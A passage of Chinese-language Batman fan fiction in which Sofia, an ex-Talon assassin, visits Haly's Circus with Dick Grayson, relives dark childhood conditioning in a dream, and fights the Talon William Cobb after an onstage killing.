迪克长腿一跨招呼索菲亚走近。 “我送你过去，我刚好有事要处理。” 索菲亚倒也没拒绝, 跟着上了车调整好了位置。 “警察很忙吗？晚上了还要加班, 我看GCPD也总是晚上加班。” “倒也没有，今天是……其他的工作，不算麻烦收个尾就可以结束了。” 不用直说，索菲亚就知道大概率是夜翼那边还没处理完的事, 大概率和当地的帮派有关。 “那你呢？怎么突然想到来布鲁德海文了？散心的话其实我更推荐大都会。” “我的朋友告诉我很有名的哈利马戏团在这里演出建议我一定要来看, 我正好有空就来了。” “那你可就找对人了, 飞翔的格雷森向你问好。”迪克的语气里带了些得意，即使在男人身后索菲亚也能想到男人意气风发的样子“在跟布鲁斯一起生活前，我都在哈利马戏团生活, 论起杂技我可是B的老师。” “我之前见过, 动作很棒观赏度很强, 我可以打满分，如果你还在马戏团演出的话我要每周都看一次。” “借你吉言。”男人的笑声格外爽朗, 在凉爽的夜风里响起多少有些魔性。 迪克提到的酒店是位于布鲁德海文市中心翡翠酒店, 机车刚刚停下索菲亚就抬头看到了酒店的大门。代表酒店名字的英文字母被镶嵌在大理石板上, 门童在酒店门口迎接等着从两人手里接管行李。 索菲亚有些茫然, 摸索了一阵最后把身后背的几十块买来的装了基础装备的便宜书包递了过去。 “不用整理，原封不动送到布鲁斯的房间就行。”迪克拎起书包掂量了一下递给了门童。 “放心, 布鲁斯几乎没来住过, 他在全世界几乎每个城市的豪华酒店里都有个房间, 就算是三百六十五天全年无休也住不过来。不过我们有一年去夏威夷，酒店外就是海滩，只可惜他在假期的第三天就因为冲浪撞到了礁石，只能打着石膏打道回府，这事还上了哥谭日报头条。” 迪克略领先索菲亚半个身位，带着明显对金碧辉煌的酒店大厅满脸迷茫的女孩熟悉路线。 “我之前住的公寓被淹了，没办法只能打包抢救下来的行李来酒店睡了一晚，第二天醒来我躺在床上想了十几分钟是非要回家面对烂摊子吗？” “你的公寓没有维修和打扫服务吗？” 迪克摇头脸上露出苦笑。 “我的公寓一个月的租金在一千五，里面的大多数家具还是我在二手市场淘来的，一整个公寓的家具加起来还没蝙蝠车的配件贵，维修全靠我自己。” 索菲亚打开手机查询这家酒店的价格，看到普通套房的价格一夜下来就要两万美刀打底，如果是哥谭小王子布鲁斯韦恩的房间只怕这个数字还能往上翻几倍。 索菲亚算了笔账，在这家酒店一星期的花销能够自己和斯蒂芬妮在楼下的披萨店连续一年每天都点一本菜单的饭，还能省出更新装备的钱。 无数的美元符号几乎在头顶打转，被金钱迷了眼的索菲亚被糖衣炮弹打的不知所措，亦步亦趋的跟在迪克身后。 即使是再无畏的猎魔人战士，面对绝对的金钱还是会表现出迷茫。 “你说韦恩先生能不能莫名其妙给我卡里打钱。” “我也希望。”迪克叹了口气“最好再送一辆蝙蝠车过来，我可以每天开喇叭宣告这个好消息。” 两人眼神对视，在迪克那双和提姆有些接近的蓝色眼睛里，索菲亚只能看出穷鬼之间的同病相怜。 “没关系，我这几天可以每天都来酒店蹭吃蹭喝，努力两千年我应该能把韦恩吃破产。” 迪克刷开了房门，在灯光亮起后，宽敞的陈列着简约风家具的客厅出现在了索菲亚的视线里，首先映入眼帘的就是成套的白色的布艺沙发和与之对应的黑色真皮沙发。两件家具其实被圆形或方形的桌子相互隔开，留有一定距离，颜色上呈现泾渭分明的差异，显得格外有规则感。 落地窗被乳白色的丝质窗帘遮挡了部分，在这层窗帘外还有一层厚重的足以遮挡所有光线的窗帘，只不过为了让人能欣赏窗外的夜景暂时被拉开。 窗外，是灯火通明的布鲁德海文，近处是酒店精心展现的自然风光，黑天鹅白天鹅悠闲的在人造湖泊漂游，草坪上是精心修剪的各类树木，玻璃花园中价格高昂的每滴露珠都在燃烧着金钱的鲜花传来香气。 即使在夜间也被路灯照亮，只是在白昼的基础上加上一层便于欣赏的暖黄色的灯光。 远处，是满是铅华的由金钱洗礼而成的繁华都市。 和哥谭一样，布鲁德海文市中心的高楼大厦从来没有关灯的习惯，电流在钢铁城市中流动，留下光怪陆离的各色灯光，铸就了又一座被欲望浸染的不夜城。 “早点休息吧，有什么需要打电话给前台就好。我明天忙完了就来找你。” 迪克离开了房间顺手关上了房门。 索菲亚没有急着检查装备，而是大概搜寻了一圈没找到可能存在的监控或者监听设备后，才放下戒心打开了背包。背包空间不大，索菲亚没带制服和长刀，除去能有急冻效果的手雷外，最多塞了把开过刃的短刀。 酒店的床格外柔软，只是躺在上面就能感受被床垫弹来弹去的快乐。 洗了个战斗澡，索菲亚披着湿漉漉的头发趴在床上玩手机，刚翻了不到几页，系统的提示伴随着苹果手机自带的闹钟铃声在少女的脑子里开始爆炸。 “在看了在看了，别催了。” 索菲亚不得不爬起来拿起床头的电话叫前台送上纸笔，按照系统的要求老老实实的把东西都手动记录下来。 在等待的过程里，索菲亚只感到无限的悲凉，就算是蝙蝠侠也不至于想出让学徒手抄笔记加深记忆的烂办法，迪克犯了错也会在蝙蝠洞里哭着鼻子抄书吗？ 开门取到笔记，索菲亚有了主意，反正是自己看抄个关键词就好了，又不会有人会来检查作业，自己能看懂就好。对着第一章长达几千字的天蛾人，索菲亚大概记下了几个代表特征，弱点，来源的关键词后就快速翻到了下一页。 至于之后是怎么困得睁不开眼，又是以怎样的姿势爬上床的，索菲亚一概不知。 ———————————————————— 面对模糊的，像是受损录像带一样的画面，索菲亚知道自己在做梦。 第一人称游戏的视角显得格外狭窄，画面里那只带着长条状淤青的小圆手显得格外熟悉，那只手趴在地板上拿铅笔和蜡笔在笔记本上涂画着什么。 一个圆圈，另一个圆圈，歪歪扭扭，横七竖八的纸面上排列着，最后组成一只滑稽的呆头呆脑的猫头鹰。 那是索菲亚记忆里会画的第一个图案，在大猫头鹰难得大发慈悲施舍而来的空闲时间里，索菲亚总是撅着屁股在封面是芭比娃娃的本子上学着阿尔伯特的样子在上面画呆头呆脑的一看就抓不到猎物的猫头鹰。 阿尔伯特当然不是那个需要写报告的苦逼打工人，他只需要把手下那群猫头鹰的报告整合在一起交上去就算完成了工作，男人大多数时候才是那个在其他猫头鹰被打回去重写的报告上画猫头鹰的恶趣味家伙。 只可惜索菲亚在画画上实在算不上有天赋，画了几个月本子上只有密密麻麻的猫头鹰脑袋。 画面里的手随着时间变化不再圆润，婴儿肥渐渐消散，抓着笔的手更加的坚韧，索菲亚抬眼看到了本上的血迹。 下一刻，笔在手心消失，取而代之的是柔软的如同棉花糖一样的玩偶。 大猫头鹰将这只被放在襁褓里的玩偶交给索菲亚，手把手教女孩把双手放在玩偶脖颈两侧，冒着热气的还在跳动的血肉构成的质感格外突出。 索菲亚能感受到对方审视的眼神，过去的经验告诉女孩接下来的便是惩罚，如果是体能训练或者□□上的惩罚，对天生情感的淡薄的女孩而言不算什么。 只是阿尔伯特不久前发现了索菲亚的目前唯一的恐惧。 饥肠辘辘的，肠胃如同火烧一般炙热的痛楚，让即使遭受骨折，刀伤，烧伤都面不改色的女孩第一次流下了泪水，大脑完全将食物与生命画上等号，即便是再粗糙再难以下咽的食物，索菲亚都能毫不犹豫的塞进肚腹之中。 即便是淌着污水的厨余垃圾，还是代表着穿肠破肚痛苦的毒药，只要是能够进入食道的东西，索菲亚宁愿饮鸩止渴。 双手用力时，索菲亚能够听到细小的骨头断裂的响声，可手上的东西仿佛真的是只没有知觉的玩偶，不哭不闹发不出一丝声音。 即使将作为勇气奖励的食物拿在手中咀嚼吞咽，索菲亚仍旧忘不掉玩偶的柔软的手感。 在长久的宁静中索菲亚停止了咀嚼，从嘴里吐出一件坚硬的异物，那是一颗乳白色的牙齿。 随之而来的还有在口腔中蔓延的，挥之不去的血腥味道。 第42章 可能是在梦里梦到了讨厌的家伙过于激动咬了舌头, 索菲亚一觉醒来便发现嘴里的血腥味从睡梦中带到了现实。 眼睛都还没睁开的索菲亚只能勉强撑开眼皮摸进洗手间洗漱，第三次吐掉嘴里的水带走铁锈的味道后，索菲亚的脑子才终于清醒了过来。 镜面中, 脖颈处那道险些将少女杀手斩首的伤疤在特殊体质的自愈下几乎看不到痕迹，无事的时候斯蒂芬妮还会用指腹一次又一次轻抚，看着蜈蚣一样狰狞的伤口在一次次治愈下消失殆尽。 “那个时候会疼吗？”斯蒂芬妮突然蹦着一句话打破了安静的氛围, 阳光下空气中的尘埃在漫不经心的漂浮, 带来暖洋洋的气味。 “还好。”索菲亚侧身将脸面对斯蒂芬妮，几乎埋进少女温暖的柔软的小腹“战斗的时候肾上腺素分泌过多就会上头，完全顾不上疼不疼，只记住不想死了。” 索菲亚的手指从斯蒂芬妮日益结实的手臂擦过, 只是在放松状态下摸起来还是带着几分柔软, 在接触到擦伤留下的结痂时索菲亚还是会有些紧张, 但同时又会有几分欣慰。 “你擦药了吗？虽然只是擦了一下，但如果恶化会很麻烦的。”索菲亚在空气里比划着“我以前工作的时候，给目标包扎伤口的纱布上涂抹了特定细菌, 对方也没注意, 不到半个月那道小伤口就溃烂发脓。最后用刀切开皮肤要把一整条纱布塞进去吸收脓液, 取出来的肌肉都少了一块。” “那个家伙自称是海豹突击队的队员，结果在治疗的时候依然痛哭流涕, 所以你一定要注意伤口。” “之后呢？你的任务只是让他痛苦吗？”斯蒂芬妮坐了起来全然忘了还在她大腿上放着的好舍友的脑袋追问道。 索菲亚茫然地坐起来摸了摸有些钝痛的脑袋, 半天才想起来回复。 “给他治疗的医生是我们的人, 确认他经受了痛苦后动手把他杀掉了。” —————————————— 刺眼的阳光从窗帘缝隙钻入房间近乎垂直的打在床榻之上, 即使不看手机只从光线的角度判断索菲亚也可以知道时间已经接近中午，刚刚开机的脑子思考了五分钟后终于意识到自己错过了酒店提供的免费早餐, 而广告页上的午餐和晚餐的价格会让索菲亚以为, 自己是连续加班九十六个小时后还被贝恩敲成了脑震荡才会花钱享受这项服务的地步。 虽说蝙蝠侠不会把这点小钱放在心上, 但薅羊毛的行为还是让穷鬼猎魔人为数不多的道德发生轻微的震颤。 索菲亚在床上滚了一圈看了看菜单上格外诱人的芝士焗波士顿龙虾，再滚了一圈就看到了鹅肝和牛炒饭，翻来覆去几圈下来别说午饭了，饿的满地乱爬的索菲亚连明天凌晨的第四顿饭吃什么都想好了。 少女仰躺在床铺上脑袋自然下垂几乎接触到地面，黑色的发丝因为重力自然垂落，遮住了索菲亚的视线。最近的生活总是格外戏剧化，要不然好几天都没一点新消息，要不然就是爆炸一样的消息直接往人脸上扔，砸的人头晕眼花。 比如自己要如何在不暴露利爪身份的情况下告知夜翼有关哈利马戏团做的那些事？他会愿意相信一个来路不明的杀手的话吗？威廉科布又到底是什么人？他来布鲁德海文是因为马戏团的存在还是因为其他人，例如曾经逃脱了成为法庭爪牙命运的迪克格雷森。 迪克接受利爪的改造了吗？藏在臼齿里的琥珀金是否会在某天不经意爆炸将属于夜翼的灵魂全部抹去，只剩下对于命令言听计从的一只利爪。 以及被索菲亚忽视了很久却一直存在的问题，林肯马奇真的值得信任吗？同为叛徒的身份远远不足以让一只狡猾的能够在法庭的威压下成长起来的猫头鹰愿意递出作为同谋的橄榄枝，到底是什么让他选择相信索菲亚？难道在不该存在的记忆里林肯曾经见过她吗？ 还是说这些表现出来的暂时友好只是一个新的针对索菲亚的陷阱，只等着自己带着信任踩进去摔个粉身碎骨，最后只能为了求生做回杀人越货的老勾当。 索菲亚猛然睁眼，猫头鹰的眼睛格外锐利，甚至从黄金一样的瞳孔里流露出无尽的杀意，肌肉下意识紧绷，直到确认环境安全后猫头鹰才终于重新放松下来。 少女坐了起来用手指梳理头发，像是只打理羽毛的猫头鹰，面无表情展现不出任何情绪，偶尔才转动的眼球下意识一次又一次的审视着房间。 将近四点，迪克才发来短信道歉。 “实在抱歉索菲亚，我那边有点棘手，我现在就来接你。” 索菲亚倒也能理解，毕竟就连提姆也因为遗留的夜间工作鸽过几次两人的约饭活动，为了表达歉意提姆给作为两个人吃饭花销的银行卡里转了至少三个月的花销，还在下次约饭的时候带上了阿福制作的一袋打包精美的散发出黄油香味的曲奇饼干。 等待迪克骑车赶来的时间里，索菲亚把披在肩头显得格外累赘的头发扎了个揪揪并在脑袋上戴了顶鸭舌帽来降低自己的存在感。 不管威廉科布是不是为了迪克而来，但他大概率会出现在今晚的演出现场，戴上帽子略微遮住脸总比一上来就被注意到好很多吧。索菲亚可不敢赌自己疑似失忆的状况下有没有和威廉打过交道，那这位老利爪会不会刚巧记住自己的脸。 除此之外，那把匕首被绑在了大腿内侧方便随时拔出防身，只可惜钩爪枪没有被带来，不过倒是可以问问夜翼有没有什么多余的道具可以借。 依旧背着背包下楼，在门口的显示牌上选择了不需要打扫的标志，索菲亚低着头进入电梯缓缓下楼。 透明的电梯将酒店大厅尽收眼底，而趴在前台和服务生聊的天花乱坠的青年就格外的显眼。迪克穿了件方便行动的白色t恤衫，上面印了蓝色的代表夜翼的蝙蝠变种的图案，即使是再简单不过的深蓝色牛仔裤也能勾勒出男人健美但不过度粗壮的大腿。 提姆给的资料里有提到迪克是个非常注重外表的人，起初索菲亚还不理解这句话的含义，直到现在看到迪克即使忙碌了快十个小时但依旧呈现完美弧度的发型，让索菲亚不由惊叹。 等到索菲亚出了电梯，正在说话的迪克顺手就把索菲亚的背包接了过来，向服务员摆了摆手示意离开。 “有去尝披萨吗？这家的经典意式香肠披萨非常美味，我的朋友像是沃利，瑞雯，科莉吃过都称赞不已，我觉得夏威夷披萨要更好吃，不过有意大利的游客吐槽过往披萨上放菠萝的人都该下地狱，我也不好给每个人都推荐。” 索菲亚跟着迪克的话时不时点头示意，说来奇怪夜翼身上有种让人很难拒绝听他说话的魔力，当他聊起这些有关生活的有些繁琐的话题的时候，总是显得格外有趣，引导人能够一直听下去。 提姆同样深谙这项说话技巧，只要他想要人听他讲话，就没人能够走神。布鲁斯韦恩更不必说，他甚至不需要刻意使用这项技能，只是那双出现在镜头里的钢蓝色双眼，就能让人争先恐后的簇拥在他身边聆听他的每句话语，虽然最后大多都被借题发挥用来给哥谭的花边小报提供新的素材。 这大概是一种只要踏入蝙蝠洞就会自动发光等待被点亮的特殊技能，只是不知道那位神秘的听声音很成熟的神谕是不是也深谙这项技能。 但即使是万能的罗宾也总有疏忽，面对数学就算面对好朋友那张帅气的脸，索菲亚还是没办法保持认真的状况，往往在对方讲解的三分钟左右意识就会不自觉地神游天外。 最后无可奈何的提姆干脆停下来讲题，学着索菲亚一起用手支着脑袋，只是略有不同的是少女的眼神定在了桌子上的某道刻痕上，而少年湛蓝的瞳孔里只能倒映出面前人的影子，直到少女作为伪装的黑色瞳孔里也出现少年的身影。 “我也好久没见到马戏团的大家了，开场前我可以去打个招呼，你想去看看吗？”迪克的声音终于顺着夜风进了索菲亚的耳朵。 “我没有见过马戏团的后台，我想去。”少女回答道“演出是什么样的？有狮子跳火圈和大象表演杂技吗？我看过油管的纪录片里这些动物表演其实很过分，如果可以我想看驯兽师带着小狗表演，至少很多小狗看起来很开心。” “那是很早的表演项目了，不过马戏团的大家都是很友善的人，虽然没有狮子但我们真的有大象，她是个温柔的好姑娘大家都把她当作家人看待。”迪克略微停顿继续说道“小狗的视频我也看过，那几只萨摩耶真的很可爱，能看得出来这几个孩子都很享受舞台，至少我觉得让所有人都享受舞台上的表演比什么都重要。” “你想要继续做杂技演员吗？你一定是最出色的空中飞人。” 索菲亚用手压住乱飞的发丝。 “曾经想过，不过现在没关系了，因为我已经找到属于我自己的舞台了。” 飞翔在夜空里的鸟儿如此说道。 第43章 哈利马戏团有一个非常符合刻板印象的色彩鲜艳的大帐篷, 对比度极高的红蓝黄这些容易让人兴奋的颜色大面积的遍布在四周，索菲亚自然而然也被这些色彩吸引，脑袋不自觉地跟着转来转去。 距离演出开始还有将近两个小时的时间, 观众都还未入场，索菲亚算是跟着迪克靠刷脸提前进场。 与平日总是充满激情和热闹的舞台不同，演出开始前的后台更多时候弥漫着紧张的氛围, 身穿贴身制服的杂技演员还在紧锣密鼓的进行最后的排练。 负责飞刀的身材纤细的女性还在把玩手里的道具, 索菲亚只看一眼就能道具上看出下了血本，材料大概率用了高碳钢从而让飞刀做到了锋利但不笨重，非常适合中距离投掷，用来演出再好不过。 只是索菲亚不太确定蝙蝠镖的材质, 蝙蝠镖本身有些分量但并不影响远距离投掷, 再加上符合空气动力学的外形构造, 大多数时候作为打断敌人行动的道具来讲实在好用。提姆常用的罗宾镖虽然是同材质，但是受到外形的影响，在实际使用方面需要额外进行力度, 角度上的调整, 有时候还需要放弃一定的距离来达到精准度的要求。 上身穿着衬衫搭配红蓝配色马甲下身一件同色短裤打扮的演员正牵着迪克提到过的大象在舞台上进行走位, 看得出来那头大象确实脾气很好，不紧不慢的跟着驯兽师的指令动作, 从外形来看呈现放松状态, 细长的尾巴悠闲的在身后小幅度的甩动。 舞台上的灯光还在调试接下来会会有的颜色和频率的组合, 和帐篷的装饰一样大多数是些鲜艳的颜色。戴着一顶高礼帽穿着格外花哨西装的中年男人正在和人说话, 看到了迪克的到来立即转过身，热情的伸开了双臂。 “瞧瞧, 哪来的风把我们的大明星吹回来了。” 迪克坦然接受了这个拥抱, 跟着打趣道。 “我猜是陆风？毕竟布港晚上不吹海风, 你说对吧哈利。” 哈利被俏皮话逗笑了，一边笑一边还用左手拍着迪克坚实的肩膀。 “瞧瞧我们的小伙子，既漂亮又强壮，说说这周有几个姑娘想约你出门共进晚餐。” “可惜了，我这周一直在加班还没来得及约会，哦对了哈利，这是我的小妹妹索菲亚，她还没见过马戏团后台长什么样我带她来看看。” “你好，我是索菲亚。”索菲亚抬起头，面无表情的打招呼。 寒暄几句，迪克正要带着索菲亚离开，就看到那位负责飞刀的演员跑到哈利身边低声说了些什么，哈利的脸色瞬间变得难看，但还是强撑着笑容向两人找了借口离开。 “看起来有情况，要去看看吗？”索菲亚从迪克身后探出脑袋看向哈利离去的背影。 “演出快开始了，先去享受演出吧，我相信哈利能解决。” 索菲亚看向迪克刚刚收回的手，回忆起提姆没事干就喜欢往人身上放定位和监听的习惯，闭上了想要追问的嘴。 两人的座位在前排，很轻松就能把圆形的舞台尽收眼底，类似于斗兽场一样的由高到低的布局将舞台包围起来，尽可能保证每个观众都能够看到舞台上的演出。索菲亚四处观望，这场演出的规模算不上大，全场的座位应该在二百个左右，和学校里的阶梯教室规模差不多大。 观众这时才刚刚开始入场，有在约会的情侣，理着寸头的男生跟在金发女友身后尽职尽责的提包递水，还有至少目前看起来幸福的一家三口，丈夫把妻子和孩子安排在座位上后借口打电话离开，而妻子的笑容里带些僵硬，嘴角略微发青。坐在索菲亚身边的一对父女看起来没什么问题，既没有过分亲密的互动也不至于显得过分生疏，看起来十分和谐。 迪克的左耳带着只监听用的耳机，斜靠在座位上，一只手自然搭在大腿上，眼神却在四处打量。 “发生什么事了？”索菲亚压低声音询问迪克。 “有人要找哈利，我不知道是不是我认识的人。” 两人来不及过多交流，演出就已经正式开始，节奏感极强的欢快音乐调动着大多数人的情绪，过分刺眼的灯光将所有人的注意力都引到了台上。 索菲亚看着舞台上飞刀的飞刀，抛球的抛球，不一会就忍不住转头看同行人在做什么，就看到正在监听的迪克脸色也跟着越来越差。 注意到索菲亚的视线，迪克笑了笑指了指耳机弯腰凑了过来。 “有点情况，你先看，我去处理一下。” 索菲亚眨了眨眼，觉得一个人看演出应该出不了什么问题，当即同意了下来。迪克的脸上带着歉意，从口袋里掏出一把巧克力塞到索菲亚手心，便弯着腰离开了观众席。 索菲亚继续尝试把注意力放到演出上，可惜舞台上的飞刀演出算不上稀奇，刺激程度不如猎魔时撞上杀手鳄然后在下水道被猛追五公里来的直接，不过扔飞刀的演员从身形和手法来看应该是老手，这样中规中矩的演出实在有些出乎意料。 在偏暗的观众区，隔壁一家的男人还在手机上敲击着虚拟键盘，手机屏幕的反光照亮了周围一片人的视野，不满的语气萦绕在这片暗色的区域中。 索菲亚看着那张被等亮光照亮的脸，只觉得越看越熟悉，但脑子始终想不出在哪里见过，再加上长时间地注视很容易吸引其他人的注意，索菲亚只能不情不愿地移开视线。 飞刀演出还没结束，一点寒芒射出正好扎穿另一位演员脑袋上的那颗红色的近乎发黑的蛇果，果汁顺着刀尖喷溅而出，不过在几百人的剧场里还不至于能一下子闻到苹果的味道。 舞台上的灯光也有了变化，原本以白色主灯为主，红色黄色灯光为辅助的组合突然转变成红色的灯光呈现圆柱状直直的打在舞台上，将那位作为活靶子的演员笼罩其中，另一道则指向那位飞刀演员。 来自本能的对于危险的预知能力让索菲亚近乎头皮发麻，飞刀射出的频率越来越快，完全不符合先前演出表现出的习惯，也就说这位故意隐藏自己能力的飞刀演员突然使出了全部精力来演出，不，在攻击对方。 这种力度索菲亚甚至很难在罗宾或者夜翼身上看到，近乎抱着要杀人灭口而去的力度索菲亚再熟悉不过了，毕竟自己之前杀人也是这样的。 那道灯柱突然在空气中消失，整个帐篷笼罩在黑暗之中，人群此起彼伏的惊呼估计将这一变故认成了马戏团刻意设计的演出结果，只有索菲亚在黑暗中感受到了直冲着观众席而来的弥漫在冷气中的无限杀气。 灯光突然亮起，红色的灯柱将索菲亚身旁的男人笼罩其中，男人诧异的抬起头还没来得及反应灯光就再度熄灭。 在男人疑惑的粗口里，索菲亚听到了金属破开空气的尖锐响声，少女一个俯身蹲在地上借动作拔出了大腿上那把匕首，将即将刺入男人头部的飞刀打落。 这并不是结束，那位刺客在台上往往以三把飞刀为一组的频率射出，索菲亚至少还要面对两把飞刀的袭击，同时还需要躲避观众的视线避免因为动作太大被注意。 金属的声音再次响起，在清脆的碰撞声后索菲亚听到了飞刀掉落在地上的声音，可是唯一奇怪的是索菲亚在几秒内没等到第三把飞刀，也没听到男人的抱怨或谩骂声。 索菲亚微微抬头，就看到男人不可置信的瞪大的眼球，以及深深插在心口的那把飞刀。 再次看到台上，已经不见了那位刺客的身影，惹火上身的索菲亚只能弯着身子离开观众席先行躲避。 索菲亚侧身躲过从洗手间回来的几位游客，脑子仍在飞速运转。 哈利马戏团曾经是利爪的聚集地，刚刚那位不知名刺客以杂技为主刺杀手法算得上熟练，那今天这场演出大概率是一场新任利爪进入法庭之前表明忠诚度的测试，而那个男人大概率因为某些原因惹上了那群傲慢的猫头鹰才有今天的杀身之祸。 如果对方真的完全针对自己，那柄刀完全可以面对自己而来，为什么要这样迂回，不是徒增麻烦吗？ 就在此时，索菲亚察觉到了身后传来被凝视的感觉，女孩脚步一顿，立马钻进了后台尽力寻找没人的角落。 身后的人呼吸无比规律，但脚步声却很重，一步一步的落在地面上如同报丧的时钟，比起相信对方是个菜鸟，索菲亚多年的经验告诉自己对方是故意加重了自身的存在感。 为什么？ 为了让猎物恐惧自乱阵脚。 就像以变态屠夫闻名的美式恐怖片中很少看到类似皮脸，迈克尔，弗莱迪这类角色刻意隐蔽自身的存在，这类屠夫恨不得将自身的存在昭告天下，只有被追捕的猎物才需要屏气凝神避免在这些怪物的折磨中丢去了性命。 索菲亚稳下脚步，不紧不慢的在后台游荡，果然如预料般原本哪里都塞满了人的后台此时空无一人，就像是刻意留出来供人欣赏的新舞台一般。 来自利爪的声音刮过墙壁发出大多数人认为是类似指甲在黑板上划过，实际上应该是牙齿啃食头骨的声响。凭借这道声音索菲亚可以完全判定身后的人一定是利爪，而且绝对没可能是舞台上那位飞刀菜鸟，再结合林肯马奇给的线索，身后的人有且只有一个选项可以选择。 ——威廉科布。 第44章 脚步声越来越近, 终于在距离索菲亚十米的位置停了下来。 十米，这是一个微妙的距离，不管是威廉科布还是索菲亚都无法在这种距离下快速发动奇袭, 同时也无法在毫发无伤的情况下离开，在这种情况下只要一方发动袭击，另一方绝对有足够的时间进行反击, 那么唯一的变数只看是谁先按耐不住率先动手。 如果对方只是普通人或者是战斗意识薄弱的混混, 即使手边只有一把匕首将对方打到失去意识不算什么难题。 现在看来，威廉科布大概率带了全面装备，防弹防火的坚硬制服，带着利爪的战术手套, 双刀, 要是倒霉点这只大猫头鹰可能还带了快速生效的毒药, 给索菲亚一种横竖都是死的微妙感。 放低身体，屏气凝神，索菲亚将匕首反握等待对方的反应。 像是察觉到索菲亚的意图, 威廉科布漫不经心的继续前进, 完全不把猎物的殊死反击看在眼里, 索菲亚闭上眼把全部精力放在听觉上。 仔细听脚步声里除了战术靴踩在地上的声音，索菲亚感受不到其他武器的声音, 至少可以判定对方没有带急冻装备对付索菲亚, 如果威廉科布是为了回收夜翼, 这就说明对方大概率只是把自己当作了可以诱捕年轻义警的诱饵, 而不是认出了叛逃利爪的身份。 既然如此，就好办了。 索菲亚睁开眼睛, 高高跳起将匕首插在了面具和制服的交界处, 双腿夹住了威廉科布的头颅保持平衡, 确认没有阻挡后迅速调整位置，把匕首快速捅进对方的颈动脉处。 威廉科布带着战术手套的手立刻就抓住了刺客的脚踝将索菲亚从身上拖下，随即握拳一拳朝着索菲亚面门而来。 索菲亚微微侧头，闪开了对方的袭击，但还是被利爪在腿上抓出了几道几乎能切到骨头的伤口。 在巨力下索菲亚飞了出去，脑袋撞到了杂物堆积处才停了下来，在片刻的钝痛后，视线几乎被血色染红。根据力道和痛感分析，索菲亚知道自己的脑袋估计在飙血。 不过对方果然是被改造过的怪物，在颈动脉被捅了几刀除了开始的一点血液，竟然没能出现鲜血喷成喷泉的景象让索菲亚颇为遗憾。 果然利爪基本都是些被复活的尸体，所以连血液都是些陈年老血几乎凝固了吗？ 不过此刻拉开距离正中索菲亚下怀，接近二十米的距离足够了，那颗手雷足够将对方冻上，虽然时间较短没办法完全杀死对方，但是拉开距离已经足够了。 索菲亚在背包里摸到那颗手雷，食指微微用力拔出了插销，将其和其他杂物一起对着威廉科布扔了出去。 “就这点伎俩吗，小虫子？”威廉科布冷笑一声。 利爪出刀将索菲亚掷出的物件全部切碎，还没来得及下一步动作，就看到了闪着白光的手雷的爆炸。 并非是高温而成的爆炸，金属之下包裹着的液体快速反应，眼前的异变让威廉科布诧异了片刻，不过瞬息利爪握刀的手臂已经结冰，冰块甚至顺着手臂冻结了男人的双腿。 索菲亚不敢放松警惕，对手在被控制后用尽全力的反击往往更难对付，目前虽然用低温控住了对方，但利爪并没有完全失去行动能力，如果可以索菲亚都可以想出几个脱困的办法。 所以现在该怎么做呢？趁他病要他命再给他两刀？ 索菲亚不敢赌老牌利爪的反击，所以做出了更稳健的选择。 再摸出一个手雷，加固了冻结对方的冰块效果，然后转身跑路。 靠几个低配急冻装备就和对方拼命做什么，这也太容易翻车了吧，总之先跑再说。 现在唯一的问题是夜翼在哪，要是索菲亚自己跑回去但是迪克被顺利回收成了利爪，不敢想象蝙蝠侠和提姆得有多崩溃。这也太地狱了吧，不亚于已经死亡的二代罗宾从地里爬出来成了小丑信徒还给蝙蝠侠送了过期的父母兑换卷。 索菲亚很快就听到了电流打在人体上的声音，自己认识的人里只有夜翼的卡里棍通电，平时夜巡的时候也没少见到夜翼怎么用那两根短棍把大家电到大小便失禁的惨状。 根据声音判断出方向，索菲亚加快了逃跑的速度。小腿上的伤口正在恢复，疼痛变得麻木，但伤口愈合的痒意存在感格外强，好在并不影响人的行动。 索菲亚只能祈祷利爪没有给手套上涂例如鼠疫，炭疽，霍乱这类病原体的习惯，曾经被药剂改造过的身体虽然不至于因为这些东西就直接死亡，但伤口感染肌肉坏死还是能造成不小的麻烦，索菲亚实在不想再经历被迫自己咬着牙把坏死的肌肉切除的破事了。 “夜翼，情况有变。” 听到索菲亚声音的迪克没有停下动作，用大腿死死夹住了台上飞刀的利爪的脑袋，一个用力便腾空而起，将对方摔在地上。 索菲亚上前，一拳打在对方脑袋上，这只利爪大概率遭受改造不久，在这样的攻击下就失去了意识。如果是林肯马奇或者威廉科布，这只不过是开始 夜翼松开了利爪软绵绵的失去意识的身体爬了起来，将对方的武器一脚踢到远处。 “哈利那边被猫头鹰打扮的人找了上来，马戏团似乎和他们有合作，这位，呃，小姐希望我回归组织，虽然我连组织叫什么都不知道。” “我那边遇到的家伙应该就是你说的猫头鹰，很难对付。”索菲亚停顿片刻观察夜翼的表情，看到了对方笃定自己知道的更多且等待自己继续说下去的眼神“我和他们有点关系，大概知道怎么对付他们。” “所以这几位？”带着多米诺面具的男人侧头看向地上失去了意识的女性“好歹让我知道敌人叫什么吧。” “当心猫头鹰法庭，时刻监视你出行。” “暗处窥望哥谭市，藏于矮墙阁楼间。” “居于家中他同在，卧及床间他亦存。” “万莫提及他名号，利爪将——。” 索菲亚还没说完就看到夜翼审视的眼神，那张足够风流的薄唇提出了疑问。 “那你是怎么从法庭离开的。” 索菲亚深吸一口气，回答了这个问题。 “因为法庭里面把人往死里用，有的用就四处杀人，脑袋都快让砍掉了还得扶着头杀人，没用就冷冻起来摆成一排，一群猫头鹰摆在一起像是菜市场，甚至做不到单人单间，绝对违反日内瓦条约。工作好几年连口饭都没得吃，最过分的是没有休假，没有社保，没有薪资。我就算去当反派去阿卡姆抢劫被蝙蝠侠打成半身不遂只能在床上被护工扇耳光也总比在这里当核动力驴好得多。” 一连串的回答让夜翼愣了一下，但不久男人就笑了出来。 “不用紧张，你是罗宾的朋友，我不会怀疑你是什么大恶人的，只是同步情报不用担心我会做什么。” “我听说蝙蝠侠连队友都有后备计划，你敢说你对我毫无防备吗？”索菲亚质问道。 “……”词穷的人成了夜翼“或许没有，吧。” “所以他们是因为你而来的吗？” 索菲亚摇头，脑后的揪揪因为剧烈动作变得松散随时都有可能会散开。 “不，他们是为了你。” 夜翼诧异的用手指指向自己“我吗？” “是，哈利马戏团很早就为法庭提供利爪素材，很多天赋异禀的小孩都被预定成了利爪预备役，经受改造后就成了法庭好用的核动力驴，我的一个，呃朋友，告诉我，飞翔的格雷森家的孩子原本是预定的利爪人选，只不过被布鲁斯韦恩截胡，这份计划也只能不了了之，但法庭从没放弃那个孩子。” “等等，信息量好大，让我理理，不是你怎么能够证明这一点？我从小在马戏团长大，我不认为大家是恶人，也不觉得哈利他们会出卖我，我父母的事也是因为托尼祖科，而不是什么可笑的猫头鹰法庭。” 